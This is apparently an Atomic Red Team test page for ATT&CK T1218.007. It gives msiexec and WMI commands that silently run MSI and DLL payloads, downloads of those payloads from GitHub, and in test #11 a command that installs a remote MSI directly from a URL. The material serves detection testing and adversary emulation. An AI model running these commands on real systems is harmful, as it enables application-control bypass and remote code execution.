T1218.007 - Signed Binary Proxy Execution: Msiexec

Description from ATT&CK

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

Atomic Tests

• Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript

• Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript

• Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL

• Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE

• Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript

• Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript

• Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL

• Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE

• Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL

• Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL

• Atomic Test #11 - Msiexec.exe - Execute Remote MSI file

Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe| | action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /q /#{action} "#{msi_payload}"

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"

Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe| | action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /q /#{action} "#{msi_payload}"

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"

Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe| | action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /q /#{action} "#{msi_payload}"

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"

Atomic Test #4 - Msiexec.exe - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using msiexec.exe

Supported Platforms: Windows

auto_generated_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe| | action | Specifies the MSI action to perform: i (install), a (admin), j (advertise). The included MSI is designed to support all three action types. | string | i|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /q /#{action} "#{msi_payload}"

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"

Atomic Test #5 - WMI Win32_Product Class - Execute Local MSI file with embedded JScript

Executes an MSI containing embedded JScript code using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi| | action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | string | Install|

Attack Commands: Run with

1	powershell

!

1
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"

Atomic Test #6 - WMI Win32_Product Class - Execute Local MSI file with embedded VBScript

Executes an MSI containing embedded VBScript code using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: cf470d9a-58e7-43e5-b0d2-805dffc05576

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi| | action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | string | Install|

Attack Commands: Run with

1	powershell

!

1
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"

Atomic Test #7 - WMI Win32_Product Class - Execute Local MSI file with an embedded DLL

Executes an MSI containing an embedded DLL using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 32eb3861-30da-4993-897a-42737152f5f8

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi| | action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | string | Install|

Attack Commands: Run with

1	powershell

!

1
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"

Atomic Test #8 - WMI Win32_Product Class - Execute Local MSI file with an embedded EXE

Executes an MSI containing an embedded EXE using the WMI Win32_Product class

Supported Platforms: Windows

auto_generated_guid: 55080eb0-49ae-4f55-a440-4167b7974f79

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | path | PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi| | action | Specifies the MSI action to perform: Install, Admin, Advertise. The included MSI is designed to support all three action types. | string | Install|

Attack Commands: Run with

1	powershell

!

1
Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }

Dependencies: Run with

1	powershell

!

Description: The MSI file must exist on disk at specified location (#{msi_payload})

Check Prereq Commands:

1
if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"

Atomic Test #9 - Msiexec.exe - Execute the DllRegisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the “bin” folder is only built for 64-bit, so this won’t work on a 32-bit OS.

Supported Platforms: Windows

auto_generated_guid: 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | dll_payload | DLL to execute that has an implemented DllRegisterServer function | path | PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /y "#{dll_payload}"

Dependencies: Run with

1	powershell

!

Description: The DLL must exist on disk at specified location (#{dll_payload})

Check Prereq Commands:

1
if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"

Atomic Test #10 - Msiexec.exe - Execute the DllUnregisterServer function of a DLL

Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the “bin” folder is only built for 64-bit, so this won’t work on a 32-bit OS.

Supported Platforms: Windows

auto_generated_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | dll_payload | DLL to execute that has an implemented DllUnregisterServer function | path | PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /z "#{dll_payload}"

Dependencies: Run with

1	powershell

!

Description: The DLL must exist on disk at specified location (#{dll_payload})

Check Prereq Commands:

1
if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"

Atomic Test #11 - Msiexec.exe - Execute Remote MSI file

Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.

Supported Platforms: Windows

auto_generated_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | msi_payload | MSI file to execute | string | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi| | msi_exe | MSIExec File Path | path | c:\windows\system32\msiexec.exe|

Attack Commands: Run with

1	command_prompt

!

#{msi_exe} /q /i "#{msi_payload}"